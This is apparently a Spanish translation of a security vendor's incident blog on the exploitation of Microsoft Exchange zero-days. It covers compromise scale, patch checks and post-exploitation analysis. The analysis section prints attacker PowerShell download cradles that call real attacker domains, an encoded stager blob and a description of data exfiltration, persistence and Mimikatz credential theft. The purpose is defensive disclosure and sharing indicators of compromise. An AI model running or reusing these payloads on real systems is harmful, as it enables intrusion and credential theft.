ACTUALIZADO 14 de abril:
Huntress tiene conocimiento de las nuevas vulnerabilidades de Microsoft Exchange reveladas en la Actualización de seguridad de Microsoft de abril. Nuestro equipo aún no ha detectado exploits dirigidos a estas nuevas vulnerabilidades en ningún endpoint que ejecute el agente de Huntress, pero continuaremos monitoreando de cerca estas amenazas. Todas estas vulnerabilidades están clasificadas como de severidad "crítica" y de nuevo ofrecen ejecución remota de código a un atacante. Dado el fuerte enfoque en Exchange por parte de un gran número de actores de amenazas, es absolutamente imperativo que las organizaciones apliquen el parche lo más rápido posible. Te recomendamos actualizar al parche de seguridad más reciente, monitorear nuevos indicadores de compromiso y mantenerte al día con la nueva información a medida que se publique. Seguiremos actualizando esta publicación con nuevos hallazgos.
ACTUALIZADO 05 de marzo a la 1:47 p. m. hora del Este: Se agregaron instrucciones para verificar el estado del parche y nuevos IOC.
ACTUALIZADO 05 de marzo a las 7:04 p. m. hora del Este: Se agregó la sintaxis de PowerShell para verificar el estado del parche.
ACTUALIZADO 06 de marzo a las 12:04 a. m. hora del Este: Se agregó el script NSE oficial de Microsoft y nueva información posexplotación.
ACTUALIZADO 06 de marzo a las 3:17 a. m. hora del Este: Se agregó análisis que lleva a la "etapa 6": Cobalt Strike y Mimikatz.
El 1 de marzo, nuestro equipo recibió una notificación sobre vulnerabilidades no reveladas de Microsoft Exchange que explotaban con éxito servidores on-prem. Tras el aviso de uno de nuestros socios MSP, confirmamos la actividad, y Microsoft ha publicado desde entonces un blog inicial y parches de emergencia para las vulnerabilidades.
El propósito de esta publicación de blog es difundir que esto se está explotando activamente en el mundo real. Por el momento, hemos descubierto más de 350 webshells en aproximadamente 3.000 servidores vulnerables (la mayoría tiene antivirus/EDR instalado) y esperamos que esta cifra siga aumentando.
ACTUALIZACIÓN 05 de marzo 1:47 p. m. hora del Este: Actualmente tenemos visibilidad sobre aproximadamente 3.000 servidores de Exchange. Vemos que ~800 permanecen sin parchar, sin el hotfix para un número de versión CU actualizado.
Continuaremos actualizando este blog con nuestras observaciones e IOC para generar conciencia. También puedes consultar nuestro hilo de reddit para mantenerte al día.
¿Quieres información más detallada sobre estas vulnerabilidades? Mira nuestro webinar bajo demanda o descarga las diapositivas para conocer nuestra investigación, nuevos IOC y más.
¿Qué está pasando?
Según el blog inicial de Microsoft, detectaron múltiples exploits de día cero que se usaban para saquear versiones on-premises de Microsoft Exchange Server en lo que afirman son "ataques limitados y dirigidos". También destacan que el actor de amenazas "HAFNIUM se dirige principalmente a entidades en Estados Unidos en varios sectores de la industria, incluidos investigadores de enfermedades infecciosas, bufetes de abogados, instituciones de educación superior, contratistas de defensa, grupos de expertos en políticas públicas y ONG".
Esto parece tener una propagación mucho más amplia que solo "ataques limitados y dirigidos", como ha sugerido Microsoft. A partir de nuestra investigación, revisamos más de 3.000 servidores de Exchange y vemos que ~800 permanecen sin parchar, identificando más de 300 servidores de nuestros socios que recibieron cargas útiles de webshell.
Estas empresas no coinciden perfectamente con las indicaciones de Microsoft, ya que algunos perfiles son hoteles pequeños, una empresa de helados, un fabricante de electrodomésticos de cocina, varias comunidades de adultos mayores y otros negocios de mercado medio "poco llamativos". También hemos presenciado muchas víctimas de gobiernos municipales y de condado, proveedores de salud, bancos/instituciones financieras y varios proveedores de electricidad residencial.
Entre los servidores vulnerables, también encontramos más de 350 webshells; algunos objetivos pueden tener más de un webshell, lo que podría indicar una implementación automatizada o múltiples actores no coordinados. Estos endpoints sí tienen soluciones de antivirus o EDR instaladas, pero esto aparentemente ha pasado desapercibido para la mayoría de los productos de seguridad preventivos. Y con información de la comunidad, hemos visto honeypots atacados, lo que deja claro que los actores de amenazas simplemente están escaneando internet en busca de blancos fáciles.
Estos ataques son graves debido a que toda organización simplemente tiene que tener correo electrónico, y Microsoft Exchange es ampliamente usado. Estos servidores suelen ser accesibles públicamente en internet abierto y se pueden explotar de forma remota. Estas vulnerabilidades se pueden aprovechar para lograr ejecución remota de código y comprometer por completo el objetivo. A partir de ahí, los atacantes obtienen un punto de apoyo persistente en la red y pueden expandir su acceso y causar mucho más daño.
¿Qué deben hacer los MSP?
Si usas servidores de Microsoft Exchange on-prem, es posible que debas asumir que ya fuiste afectado. Te recomendamos no solo aplicar el parche de inmediato, sino también validar el parche externamente y buscar la presencia de estos webshells y otros indicadores de compromiso (consulta los detalles técnicos a continuación). Confiar en el panel de control simplemente no es suficiente.
Hasta ahora, parece que todos los productos preventivos permitieron que se colocara el webshell. Aquí tienes una pequeña muestra de los archivos encontrados y qué soluciones de AV/EDR/SOCaaS estaban instaladas.
ACTUALIZACIÓN 05 de marzo 1:47 p. m. hora del Este: La validación externa del parche mediante un script de Nmap de la comunidad no valida la versión completa y ya no se recomienda. La información de versión incluida en las claves del registro del servidor de Exchange tampoco parece coincidir con la versión completa de la instalación activa si está actualizada. La única fuente confiable que hemos determinado es el número de versión exacto del servicio de Exchange en ejecución. Para validar tu parche, continúa leyendo.
ACTUALIZACIÓN 06 de marzo 12:04 a. m. hora del Este: Microsoft ha proporcionado un script NSE oficial de Nmap que puede identificar si tus sistemas siguen siendo vulnerables y validar el parcheo. En nuestras pruebas, esto ha dado resultados confiables.
Para verificar el estado de tu propio parche, te recomendamos revisar el número de versión del binario Microsoft.Exchange.RpcClientAccess.Service.exe presente en la ruta de instalación de tu servidor de Exchange. Puedes verlo haciendo clic derecho en el archivo en el Explorador, seleccionando Propiedades, y cambiando a la pestaña Detalles.
Aunque la ruta de instalación predeterminada para Exchange es C:\Program Files\Microsoft\Exchange Server\V15\bin, si tienes una ruta de instalación personalizada que desconoces, puedes examinar esta clave del registro para encontrar la ruta actual en versiones de Exchange 2013 o superior:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath
Las versiones de Exchange 2010 y anteriores llegaron al final de su vida útil y no deben usarse en producción.
Verifica que la versión completa de este archivo Microsoft.Exchange.RpcClientAccess.Service.exe y su hash SHA256 estén presentes en la siguiente tabla. Esta información proviene de la documentación oficial de Microsoft Knowledge Base para cada versión de Exchange y su respectivo CU.
Versión de Exchange | Hash del binario del servicio MSExchangeRPC | Versión | Enlace del parche de MS |
Exchange 2013 CU23 parcheado | 17a077eab538ca80155e6667735a1bc86510b08656e79fd6e931687b573042ca | 15.0.1497.12 | |
Exchange 2016 CU18 parcheado | 92d17848f4c0fd4d7ab99842f8058ed9925179611b8b4ad2084fabb1a39badc1 | 15.1.2106.13 | |
Exchange 2016 CU19 parcheado | 18f85477f7edad2ca5686a1bc362c3ebed0ef37ba993ca61fc1fcc3249799cf2 | 15.1.2176.9 | |
Exchange 2019 CU7 parcheado | af9fdab713ca9223719448f81cfba9018563ebef2b61e09e4e2ceb13efa6ef49 | 15.2.721.13 | |
Exchange 2019 CU8 parcheado | 4c77d11aeaf590e6316125d8cd8217b69334aa62956097628d09b46b93203c0e | 15.2.792.10 |
El valor completo del número de versión debe coincidir.
Nota: debemos ser transparentes en que este método solo verifica la versión de un archivo, el RPC Client Access Service, que según nuestro análisis sí se actualiza en los servidores completamente parcheados. Esto no indica con certeza que el parche se aplicó al 100 % correctamente, pero sí indica, como mínimo, una instalación parcial. Es probable que, si esta versión es correcta y el servidor funciona, el parche se haya aplicado correctamente.
Este proceso no está automatizado por Huntress. El agente de Huntress por sí solo no es una herramienta de escaneo de vulnerabilidades y no puede determinar el estado del parche al 100 %.
Te recomendamos encarecidamente que realices esta verificación tú mismo, y que continúes monitoreando la salud de tus servidores Exchange con herramientas publicadas por Microsoft o scripts verificados aportados por la comunidad de inteligencia de amenazas.
ACTUALIZACIÓN 05 de marzo a las 7:04 p. m. hora del Este: si te consideras un vaquero de la línea de comandos y prefieres verificar el estado del parche mediante PowerShell, puedes usar esta sintaxis de una línea. Simplemente copia y pega el código en tu shell. Crédito a Cyberdrain.com / Kelvin Tegelaar por la sintaxis base.
$SafeVersions = "15.2.792.10","15.2.721.13","15.1.2176.9","15.1.2106.13","15.0.1497.12","14.3.513.0"|Foreach-Object {[version]$_}; $Version = [System.Diagnostics.FileVersionInfo]::GetVersionInfo("$($ENV:ExchangeInstallPath)\bin\Exsetup.exe").FileVersion; if ($SafeVersions -notcontains $Version){ Write-Host -ForegroundColor Red "[!] Patch not installed successfully, this server must be patched." } else { Write-Host -ForegroundColor Green "[+] Exchange FileVersion is updated, the patch is in place." }
Huntress está aquí para ayudar
ACTUALIZACIÓN 05 de marzo 1:47 p. m. hora del Este: Sí estamos detectando automáticamente la presencia de webshells maliciosos y explotación activa, y enviaremos un reporte crítico si/cuando se descubran. Estos reportes no se cerrarán automáticamente y permanecerán activos incluso después de que hayas terminado de aplicar los parches. Para cerrar el reporte de incidente, envía un correo a [email protected] y lo cerraremos manualmente.
Huntress se mantiene al tanto de la inteligencia de amenazas y está notificando a la mayor cantidad de personas posible, lo más rápido posible.
No solo estamos comprometidos a educarte sobre cómo se están explotando estas vulnerabilidades, también estamos usando nuestra propia plataforma para ayudarnos a identificar la mayor cantidad posible de endpoints infectados.
Hemos tenido que ser creativos para ayudar a unirnos a esta lucha. Esto no es algo que "Huntress normalmente encontraría", porque estos indicadores de compromiso no son mecanismos de persistencia. Al inicio de este incidente, prácticamente todas las medidas de seguridad preventivas dejaron pasar esto por alto; sin embargo, ahora que la noticia se hizo pública, muchas están agregando esta capacidad a sus detecciones.
Nuestro equipo de ingeniería trabajó toda la noche para crear código que genere reportes de incidente para todos los agentes donde detectamos infecciones. Al 3 de marzo, todos estos reportes de incidente se enviaron a cada organización de la que teníamos conocimiento que tenía un endpoint infectado. Estos reportes también incluyeron playbooks de Remediación Asistida que eliminarán los webshells ASPX "China Chopper" que descubrimos.
Como este es un exploit activo, agregamos archivos monitoreados que buscarán tanto webshells existentes como nuevos que se estén colocando.
Nos estamos comunicando con nuestros socios con total transparencia de que este es un soporte adicional que ofrecemos para ser los mejores guardianes de la seguridad. Tenemos visibilidad sobre miles de servidores y hemos descubierto múltiples indicadores de compromiso nuevos, y entendemos la magnitud de este incidente. A pesar de que inicialmente se describió esto de forma generalizada como "limitado y dirigido" en alcance, no podemos restarle importancia, y no podemos permitir que nuestros socios tampoco lo hagan.
Detalles técnicos
Las vulnerabilidades afectan a Microsoft Exchange Server on-prem. Exchange Online no se ve afectado.
Las versiones afectadas son:
Microsoft Exchange Server 2019
Microsoft Exchange Server 2016
Microsoft Exchange Server 2013
Microsoft Exchange Server 2010
CVE asociados a este incidente:
Estamos encontrando una cantidad significativa de webshells dentro del directorio "C:\inetpub\wwwroot\aspnet_client\system_web". Ten en cuenta que esta ubicación se puede redirigir mediante el valor "PathWWWRoot" en la clave del registro "HKLM\SOFTWARE\Microsoft\InetStp". Los nombres de archivo de webshell incluyen:
ACTUALIZACIÓN 05 de marzo 1347pm hora del Este: ofrecemos 358 nombres de archivo de webshell únicos.
Algunos nombres de archivo de webshell parecen generarse de forma aleatoria, mientras que otros parecen ser una cadena estática. Esta lista incluye nuevos nombres de webshell que aún no hemos visto incluidos en los informes de Microsoft.
El webshell que estos actores de amenazas están usando se conoce como el one-liner "China Chopper". Suelen estar en el lenguaje web ASPX o PHP, y ejecutan código que se pasa como argumento HTTP incluido en la solicitud. El one-liner se desliza en un archivo y tiene una sintaxis como esta:
http://f/
ACTUALIZACIÓN 05 de marzo 1347pm hora del Este: ofrecemos 25 variables de solicitud HTTP de webshell únicas.
Ten en cuenta que las diferentes convenciones de nomenclatura de estos webshells ASPX indican el uso de una variable de solicitud diferente. De los archivos que hemos visto hasta ahora, ofrecemos este desglose, también disponible en línea.
Análisis posterior a la explotación
ACTUALIZACIÓN 06 de marzo 0004am hora del Este: estos son detalles nuevos recién descubiertos.
A partir de un webshell descubierto anteriormente, vimos la ejecución de un comando que Windows Defender detectó y detuvo.
Este payload de PowerShell ejecuta el comando codificado en Base64 (enlace neutralizado):
IEX (New-Object Net.WebClient).downloadstring('http[:]//p.estonine.com/p?e')
Este dominio está alojado en otra dirección IP de Digital Ocean más, la cual hemos reportado.
La respuesta de este dominio es una download cradle de PowerShell, que parece descargar un stager. Al descargar el contenido de esta URL, vemos:
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivte0dbG8+P7vtsim6Wfp1kXe4re7z75MT17/5M+8zst82m5/Oflp+pFuv35brNLddPu8qJs23f2Z9KRaXuZ1+6yuFtsnzWW6/e08m+V1+sXxyc808m6l7+bvVtlyhm/u/MZJW1//4t84+bHfbZktcur248/LapKVv+/L16e/9+nJx/gmf5efl9kFffm70c8mp89e5FcGk9fXTZsvxm/mNfVH+I+/WLf5u3Trd2vrdT5isKPv1fn59w0c6vOXTLN2Ov/Fv+Q3Tn7j5HebtQT587zdfpq1ebr9rKoXWZt+fH39xRezGSHwu62ydk5NPvrd8uXlI+pr9fv+vtPpdFxWFx/9xomlmqLY5k27zW/we3g9rxcF+ki3vvc6n67ror0ev6SXpsUqK8ffLZaz6qqxH3x/Q6OzWb5s6ZvvP3pECJ+s65r+3rpzZ3zWnC1fVWW+qYcn66Jspdn304+OZ4tiWRDyWVvVHxFNfre3+TVGSXP+2UefgAk++egXZpf4PbukX2lym6Ja0t9bINZ3F4VhhROalCalXu7t/f5f0mizlggi03JnrK8RgEnR9l8eeOvL18f1dF601GRd5+kn6Ue/EPTd++wj+l1Ijc9m1SIrlvxhB+4Vw51WixVxQ90o2Kfcnl9dN3kt0DCrX70+ffXi+ItT/urla/1C+OU3TorzLelzO/9F6cfPsrLJP77zi5UNzwiyzHW63V6v8vS8KMGieEmmnpv+mPL5j/1ub/J34IaPzk5/73TLY+QXeTv+bj45KQua1DtjmrJlWWUz4a+tj+dtu3p09+50thxP58S+9HOZt3dXv8e8uGB0iY8J+4/vfMS9PLkmTqRuvmfkg3odny6nFWSE+OerZUG/52MiGzfd+t3Q4g6/O8E3eFdlmpq/qZ6Q5H26/1qwEfDSupkSoaAxPro7JRkkGbpbr1MheXq3maZfnL346s1pendRpfv307vtErNOuNOvdQrUP/7oY6C+qq5oquZ5WRKhV+nkegW+2s5TQUhakj6CUvix121Wt9sv62qao9EzIvpLzEEznbdZ87YZE1Lp9nF9sV4QOZ8Tp5MAC6pMIKcCfuyX5DShP7tzVFZX/2+bo/8vTAz9/xea98BVS0byI8GSWsvMsRpvypxQg9Harsm4VIt0u1iS8KvN2dodj/d27nj2BtBE73e1kcH9Z1KxWympkQXBLItlTh+qIRQqp9s0ONIwhFXIDBgLqYAt9DMu8+UF9EPZpjt30m0YP2uNGJlquWpkdlKf2MtqlW5fpfNiRoo/oP3Un5/35FK8+ZGy6u7BwXj300/p/3tEn92769WMuGO8Wl78Hr+QORZWQVhW+iNsh2Z4uphFJxeDAznsbLkpflvQMH+3VTH7jZP/Bw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();Esta sintaxis carga más código de PowerShell en memoria, después de decodificar Base64 y descomprimirlo. La siguiente capa incluye este contenido:
Este código busca recopilar datos sobre el objetivo específico y usa esa información para solicitar código adicional desde servidores externos. Establece persistencia mediante tareas programadas según la cantidad de privilegios y el nivel de integridad, y busca ejecutar otro payload ofuscado cada 45 minutos. Estos payloads se descargan desde http[:]//cdn.chatcdn.net/p?low210305 o http[:]//cdn.chatcdn.net/p?hig210305 según el nivel de integridad, alto o medio.
Curiosamente, ambos payloads son idénticos.
Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivte0dbG8+P7vtsim6Wfp1kXe4re7z75MT17/5M+8zst82m5/Oflp+pFuv35brNLddPu8qJs23f2Z9KRaXuZ1+6yuFtsnzWW6/e08m+V1+sXxyc808m6l7+bvVtlyhm/u/MZJW1//4t84+bHfbZktcur248/LapKVv+/L16e/9+nJx/gmf5efl9kFffm70c8mp89e5FcGk9fXTZsvxm/mNfVH+I+/WLf5u3Trd2vrdT5isKPv1fn59w0c6vOXTLN2Ov/Fv+Q3Tn7j5HebtQT587zdfpq1ebr9rKoXWZt+fH39xRezGSHwu62ydk5NPvrd8uXlI+pr9fv+vtPpdFxWFx/9xomlmqLY5k27zW/we3g9rxcF+ki3vvc6n67ror0ev6SXpsUqK8ffLZaz6qqxH3x/Q6OzWb5s6ZvvP3pECJ+s65r+3rpzZ3zWnC1fVWW+qYcn66Jspdn304+OZ4tiWRDyWVvVHxFNfre3+TVGSXP+2UefgAk++egXZpf4PbukX2lym6Ja0t9bINZ3F4VhhROalCalXu7t/f5f0mizlggi03JnrK8RgEnR9l8eeOvL18f1dF601GRd5+kn6Ue/EPTd++wj+l1Ijc9m1SIrlvxhB+4Vw51WixVxQ90o2Kfcnl9dN3kt0DCrX70+ffXi+ItT/urla/1C+OU3TorzLelzO/9F6cfPsrLJP77zi5UNzwiyzHW63V6v8vS8KMGieEmmnpv+mPL5j/1ub/J34IaPzk5/73TLY+QXeTv+bj45KQua1DtjmrJlWWUz4a+tj+dtu3p09+50thxP58S+9HOZt3dXv8e8uGB0iY8J+4/vfMS9PLkmTqRuvmfkg3odny6nFWSE+OerZUG/52MiGzfd+t3Q4g6/O8E3eFdlmpq/qZ6Q5H26/1qwEfDSupkSoaAxPro7JRkkGbpbr1MheXq3maZfnL346s1pendRpfv307vtErNOuNOvdQrUP/7oY6C+qq5oquZ5WRKhV+nkegW+2s5TQUhakj6CUvix121Wt9sv62qao9EzIvpLzEEznbdZ87YZE1Lp9nF9sV4QOZ8Tp5MAC6pMIKcCfuyX5DShP7tzVFZX/2+bo/8vTAz9/xea98BVS0byI8GSWsvMsRpvypxQg9Harsm4VIt0u1iS8KvN2dodj/d27nj2BtBE73e1kcH9Z1KxWympkQXBLItlTh+qIRQqp9s0ONIwhFXIDBgLqYAt9DMu8+UF9EPZpjt30m0YP2uNGJlquWpkdlKf2MtqlW5fpfNiRoo/oP3Un5/35FK8+ZGy6u7BwXj300/p/3tEn92769WMuGO8Wl78Hr+QORZWQVhW+iNsh2Z4uphFJxeDAznsbLkpflvQMH+3VTH7jZP/Bw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
La descarga final que vemos hace una solicitud a http[:]//188.166.162.201/update.png, enviando la información recopilada de este equipo. Al solicitar esa URL con datos de análisis falsos, vemos una respuesta considerable de 2 MB que, de nuevo, se puede decodificar. Por brevedad, no incluiremos ese payload en esta publicación, pero puedes encontrarlo en este enlace.
El payload decodificado tiene la impresionante cifra de 6 MB. Para tu propio análisis, puedes encontrar ese último payload aquí.
A partir del 06 de marzo a la 1:00 a. m. hora del Este, vemos la presencia de este servicio persistente de Winnet en 5 servidores de Exchange comprometidos. Podemos esperar que esta cifra aumente y estaremos monitoreando de cerca... este método de persistencia "más tradicional" es justo lo que Huntress está perfeccionado para detectar. ;)
Los rastros de PowerShell que descubrimos antes parecen ya conocidos por investigaciones previas: https://vulners.com/carbonblack/CARBONBLACK:6730D6EB8DF875C002A93DBC78C80B9D
ACTUALIZACIÓN 06 de marzo, 2:16 a. m. hora del Este: Avanzamos a través de otra capa de la cebolla. Ese payload de PowerShell de 6 MB usa una cadena de formato multilínea enorme para reordenar y reorganizar la totalidad del archivo, y canalizarlo hacia IEX o Invoke-Expression. Usa la técnica típica de indexación $env:COMSPEC para "deletrear" el alias IEX. Al quitar el IEX, podemos dejar que se desenrede solo y revele la siguiente etapa.
Lo que llamamos "etapa cinco" (vaya) lo puedes encontrar aquí en este Gist público.
Algunas técnicas son notorias de inmediato. El uso de comillas invertidas ` esporádicas en un comando de PowerShell para "escapar" caracteres ayuda a separar cadenas. Hay un uso claro de C# en línea y compilación de código con el cmdlet Add-Type, obteniendo acceso a llamadas de la API de Win32, entre otras cosas.
ACTUALIZACIÓN 3:17 a. m. hora del Este: Dentro del código PowerShell de la "etapa cinco", vemos dos binarios en Base64. Al extraerlos, llegamos a la "etapa seis" y descubrimos archivos DLL. Estos no son ensamblados de .NET y no podemos abrirlos fácilmente en dnSpy o ILSpy, así que recurrimos a herramientas como GHIDRA/IDA/Hopper.
Hay indicios que apuntan al uso de SQLite, Mimikatz, la extracción de credenciales de Google Chrome, entre otros. A partir del código de la etapa 5, podemos ver que efectivamente carga estos DLL e invoca partes para literalmente ejecutar "powershell_reflective_mimikatz".
Creemos que estas son las versiones de 32 bits y 64 bits de Mimikatz.
Mientras seguimos investigando para encontrar detalles más concluyentes, simplemente al pasar estos archivos por un escáner como VirusTotal o ReversingLabs, estos binarios se encienden como un árbol de Navidad.
*Seguiremos actualizando esta publicación a medida que llegue más información.
